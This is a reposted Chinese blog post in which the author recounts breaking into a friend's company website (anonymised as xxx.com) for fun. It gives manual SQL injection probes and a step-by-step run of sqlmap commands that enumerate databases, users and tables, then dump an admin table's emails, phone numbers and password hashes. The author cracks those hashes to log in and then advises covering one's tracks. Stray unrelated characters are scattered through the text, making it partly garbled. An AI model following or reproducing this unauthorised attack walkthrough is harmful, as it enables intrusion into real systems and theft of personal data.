我是如何一步步攻破一家互聯(lián)網(wǎng)公司的

本文轉(zhuǎn)載自:騰訊WeTest專欄--《我是如何一步步攻破一家互聯(lián)網(wǎng)公司的》

最近在研究Web安全相關(guān)的知識(shí)斗躏,特別是SQL注入類的相關(guān)知識(shí)谨设。接觸了一些與SQL注入相關(guān)的工具幽勒。周末在家閑著無(wú)聊洞翩,想把平時(shí)學(xué)的東東結(jié)合起來(lái)攻擊一下身邊某個(gè)小伙伴去的公司,看看能不能得逞沮翔。不試不知道陨帆,一試還真TM得逞了,內(nèi)心有些小激動(dòng)采蚀,特在此寫博文一篇疲牵,來(lái)記錄下我是如何一步步攻破這家互聯(lián)網(wǎng)公司的。

【作案工具介紹】

(1)?AppScan滲透掃描工具

Appscan是Web應(yīng)用程序滲透測(cè)試舞臺(tái)上使用最廣泛的工具之一搏存。它是一個(gè)桌面應(yīng)用程序,它有助于專業(yè)安全人員進(jìn)行Web應(yīng)用程序自動(dòng)化脆弱性評(píng)估矢洲。

(2)?Sqlmap滲透測(cè)試工具

Sqlmap是一個(gè)自動(dòng)化的SQL注入工具璧眠,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞读虏。

【作案細(xì)節(jié)如下】

首先使用Appscan工具责静,對(duì)www.xxx.com互聯(lián)網(wǎng)公司的官網(wǎng)進(jìn)行掃描,掃描結(jié)果如下:

掃描結(jié)果

在這56個(gè)安全性問(wèn)題中盖桥,找到你感興趣的鏈接灾螃,例如下面這條:

http://www.xxx.com/system/cms/show?id=1

為何要挑出這一條呢?因?yàn)樗鼘?duì)于SQL注入比較典型揩徊,下面普及下SQL注入常用手法腰鬼。首先用如下語(yǔ)句,確定該網(wǎng)站是否存在注入點(diǎn):

http://192.168.16.128/news.php?id=1原網(wǎng)站

http://192.168.16.128/news.php?id=1'出錯(cuò)或顯示不正常

http://192.168.16.128/news.php?id=1?and?1=1出錯(cuò)或顯示不正常

http://192.168.16.128/news.php?id=1?and?1=2出錯(cuò)或顯示不正常

如果有出錯(cuò)塑荒,說(shuō)明存在注入點(diǎn)熄赡。

在判斷完http://www.xxx.com/system/cms/show?id=1該鏈接存在注入點(diǎn)后,接下來(lái)就啟動(dòng)我們的滲透測(cè)試工具Sqlmap齿税,進(jìn)行下一步的注入工作彼硫,詳細(xì)過(guò)程如下:

1)再次確認(rèn)目標(biāo)注入點(diǎn)是否可用:

python?sqlmap.py?-uhttp://www.xxx.com/system/cms/show?id=1

參數(shù):

-u:指定注入點(diǎn)url

結(jié)果:

確認(rèn)目標(biāo)注入點(diǎn)是否可用

注入結(jié)果展示:

a.參數(shù)id存在基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。

b.參數(shù)id存在基于時(shí)間的盲注拧篮,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息词渤,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。

c.數(shù)據(jù)庫(kù)類型為:MySql?5.0.12


2)暴庫(kù)所有數(shù)據(jù)庫(kù):

一條命令即可曝出該sqlserver中所有數(shù)據(jù)庫(kù)名稱串绩,命令如下:

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--dbs

參數(shù):

--dbs:dbs前面有兩條杠缺虐,列出所有數(shù)據(jù)庫(kù)。

結(jié)果:

結(jié)果顯示該sqlserver中共包含3個(gè)可用的數(shù)據(jù)庫(kù)赏参。


3)獲取當(dāng)前使用的數(shù)據(jù)庫(kù)

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--current-db

參數(shù):

--current-db:當(dāng)前所使用的數(shù)據(jù)庫(kù)志笼。

結(jié)果:

獲取當(dāng)前使用的數(shù)據(jù)庫(kù)


4)獲取當(dāng)前數(shù)據(jù)庫(kù)使用賬戶

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--current-user

獲取當(dāng)前數(shù)據(jù)庫(kù)使用賬戶


5)列出sqlserver所有用戶

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--users

列出sqlserver所有用戶


6)獲取當(dāng)前用戶數(shù)據(jù)庫(kù)賬戶與密碼

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--passwords

結(jié)果顯示該用戶可能無(wú)讀取相關(guān)系統(tǒng)的權(quán)限。


7)列出數(shù)據(jù)庫(kù)中的表

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?--tables

參數(shù):

-D:指定數(shù)據(jù)庫(kù)名稱

--tables:列出表

結(jié)果:

結(jié)果顯示共列出了69張表把篓。


8)列出表中字段

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?--columns

參數(shù):

-D:指定數(shù)據(jù)庫(kù)名稱

-T:指定要列出字段的表

--columns:指定列出字段

結(jié)果:

列出表中字段


9)暴字段內(nèi)容

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?-C?"ag_id,email,id,mobile,name,password,status"?--dump

參數(shù):

-C:指定要暴的字段

--dump:將結(jié)果導(dǎo)出

如果字段內(nèi)容太多纫溃,需要花費(fèi)很多時(shí)間∪脱冢可以指定導(dǎo)出特定范圍的字段內(nèi)容紊浩,命令如下:

python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?-C?"ag_id,email,id,mobile,name,password,status"?--start?1?--stop?10?--dump

參數(shù):

--start:指定開(kāi)始的行

--stop:指定結(jié)束的行

此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)xxx_store中的表mall_admin中的關(guān)于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數(shù)據(jù)內(nèi)容。

結(jié)果如下:

admin表中的用戶信息

通過(guò)上圖疗锐,我們可以看到admin表中的用戶信息了坊谁。我們將password字段通過(guò)md5解密,可以得到hash的原文密碼滑臊,通過(guò)用戶名和密碼口芍,我們就可以登錄該網(wǎng)站了。

至此雇卷,我們已成功入侵到一家公司的后臺(tái)鬓椭,并拿到了相關(guān)的數(shù)據(jù)。不過(guò)要在這里提醒你:成功入侵只是成功了一半关划,另外最重要的一半是把屁股擦干凈小染,不讓別人發(fā)現(xiàn)你了!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末贮折,一起剝皮案震驚了整個(gè)濱河市裤翩,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌调榄,老刑警劉巖踊赠,帶你破解...
    沈念sama閱讀 222,104評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異每庆,居然都是意外死亡臼疫,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門扣孟,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)烫堤,“玉大人,你說(shuō)我怎么就攤上這事「胝澹” “怎么了拔创?”我有些...
    開(kāi)封第一講書人閱讀 168,697評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)富蓄。 經(jīng)常有香客問(wèn)我剩燥,道長(zhǎng),這世上最難降的妖魔是什么立倍? 我笑而不...
    開(kāi)封第一講書人閱讀 59,836評(píng)論 1 298
  • 正文 為了忘掉前任灭红,我火速辦了婚禮,結(jié)果婚禮上口注,老公的妹妹穿的比我還像新娘变擒。我一直安慰自己,他們只是感情好寝志,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,851評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布娇斑。 她就那樣靜靜地躺著,像睡著了一般材部。 火紅的嫁衣襯著肌膚如雪毫缆。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書人閱讀 52,441評(píng)論 1 310
  • 那天乐导,我揣著相機(jī)與錄音苦丁,去河邊找鬼。 笑死物臂,一個(gè)胖子當(dāng)著我的面吹牛旺拉,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播鹦聪,決...
    沈念sama閱讀 40,992評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼账阻,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼蒂秘!你這毒婦竟也來(lái)了泽本?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書人閱讀 39,899評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤姻僧,失蹤者是張志新(化名)和其女友劉穎规丽,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體撇贺,經(jīng)...
    沈念sama閱讀 46,457評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡赌莺,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,529評(píng)論 3 341
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了松嘶。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片艘狭。...
    茶點(diǎn)故事閱讀 40,664評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出巢音,到底是詐尸還是另有隱情遵倦,我是刑警寧澤,帶...
    沈念sama閱讀 36,346評(píng)論 5 350
  • 正文 年R本政府宣布官撼,位于F島的核電站梧躺,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏傲绣。R本人自食惡果不足惜掠哥,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,025評(píng)論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望秃诵。 院中可真熱鬧续搀,春花似錦、人聲如沸顷链。這莊子的主人今日做“春日...
    開(kāi)封第一講書人閱讀 32,511評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)嗤练。三九已至榛了,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間煞抬,已是汗流浹背霜大。 一陣腳步聲響...
    開(kāi)封第一講書人閱讀 33,611評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留革答,地道東北人战坤。 一個(gè)月前我還...
    沈念sama閱讀 49,081評(píng)論 3 377
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像残拐,于是被迫代替她去往敵國(guó)和親途茫。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,675評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • # Python 資源大全中文版 我想很多程序員應(yīng)該記得 GitHub 上有一個(gè) Awesome - XXX 系列...
    aimaile閱讀 26,502評(píng)論 6 427
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,335評(píng)論 2 22
  • sqlmap用戶手冊(cè) 說(shuō)明:本文為轉(zhuǎn)載溪食,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正囊卜,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,056評(píng)論 0 5
  • 拿起畫筆玉掸,很自然的就畫了個(gè)圓,貌似樹(shù)葉醒叁,又貌似氣球司浪,不知道要怎么畫泊业,在這個(gè)圈里加了一條又一條,就成這幅圖了啊易。 心里...
    周海雙閱讀 1,493評(píng)論 8 0
  • 日精進(jìn)421天 體驗(yàn)入: 只要扎根定在一個(gè)人脱吱,專注一件事,天下是沒(méi)有難做的生意认罩! 找核心: 1共同迷上一件喜歡的事...
    宇宙之愛(ài)黃昊貴閱讀 166評(píng)論 0 0